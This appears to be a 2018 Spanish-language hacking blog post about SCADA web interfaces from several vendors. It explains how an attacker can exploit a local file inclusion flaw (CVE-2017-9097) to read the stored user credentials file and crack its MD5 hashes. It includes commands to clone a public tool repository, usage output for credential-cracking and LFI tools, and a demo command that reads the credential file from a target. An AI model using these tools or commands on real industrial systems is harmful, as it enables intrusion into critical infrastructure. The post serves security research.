viernes, 13 de abril de 2018

paseando por tu SCADA #(multi)vendor

Me levante con ganas de conocer un poco mas de nuestros viejos amigos.






Tal ves esta entrada podría considerarla una segunda parte del post anterior: "http://misteralfa-hack.blogspot.cl/2018/02/scada-multivendor-vuln-remote-command.html")

En cualquier caso la idea es continuar re-descubriendo algunas de las posibilidades de estos sistemas.

Armando escenarios:
Un atacante que se plante tomar control de estos cacharros luego de toparse con el login web



seguramente intente explotar el LFI (CVE-2017-9097) para dar con el archivo "/home/config/users.cfg", que es donde se guardan las credenciales de estos equipos para luego intentar quebrar los hashes (MD5 ) que esconden las credenciales de acceso

Para graficar el posible escenario tenemos un repositorio dedicado al asunto:  "github.com/ezelf/AntiWeb_testing-Suite"

usr@pwn:~$ git clone https://github.com/ezelf/AntiWeb_testing-Suite.git

usr@pwn:~$ cd AntiWeb_testing-Suite
usr@pwn:~$ ls -l 
total 16
drwxr-xr-x 4 root root 4096 sep 14 21:05 LFI
drwxr-xr-x 4 root root 4096 sep 14 21:05 RCE
-rwxrwxr-x 1 root root 1852 sep 24 08:42 README.md
drwxr-xr-x 3 root root 4096 sep 24 08:00 seekAndDestroy

Uso:

usr@pwn:~$ python seekAndDestroy.py --help
usage: seekAndDestroy.py [-h] [-v] [--host HOST] [--list HOST_LIST]
                         [--port PORT]

[+] Obtain and break the credentials of your industrial control system .

optional arguments:
  -h, --help        show this help message and exit
  -v, --version     show program's version number and exit
  --host HOST       host
  --list HOST_LIST  hosts
  --port PORT       set port (default = 80)

[+] Usage: seelAndDestroy.py --list host_list.txt --port 8080
En un escenario ideal tendríamos un resultado como el siguiente:


 Y solo restaría hacer un "copy-paste" de las credenciales y estaríamos adentro.

Pero como sabemos no siempre las cosas ocurren como deseamos y las situaciones son distintas:


Sin credenciales :(, igual hemos aprendido mucho:
No conseguimos las credenciales pero igual conocemos a los usuarios, conocemos el hash (y el tipo de hash ),como este se conforma (md5(password + username)) y conocemos las credenciales que son incorrectas (las que la tool uso para intentar quebrar el hash, bruteforceando con posibilidades pre-calculadas) y ademas sabemos que estamos frente a un hermoso LFI.


Jugando con un poco de LFI
usr@pwn:~$ python anti-web-v1.py --help
usage: anti-web.py [-h] [-v] --host HOST [--port PORT] [--file LFI]

[+] CVE: CVE-2017-9097

optional arguments:
  -h, --help     show this help message and exit
  -v, --version  show program's version number and exit
  --host HOST    host
  --port PORT    Set port (default = 80)
  --file LFI     Test LFI
  -ck COOKIE     Set Cookie


[+] Demo: anti-web.py --host 192.168.1.100 --port 8080 --file /home/config/users.cfg
para  arrancar un clásico:




usuarios y privilegios
file: /home/config/users.cfg



La variable "UserLevel" es la que define los privilegios de los usuarios (dentro del SO). Desde 3 para arriba cuentan con privilegios de administrador.
UserLevel 1 -> invitado


quien y desde donde estan conectados?





* Reemplazando la cookie en nuestro navegador no nos da esas sesiones. Asumo que hace match con la IP desde donde se genero la sesión inicialmente.



Las interfaces del dispositivo ?


Events settings:


Controllers:



Anti-web conf





Bk:


....

No hay comentarios.:

Publicar un comentario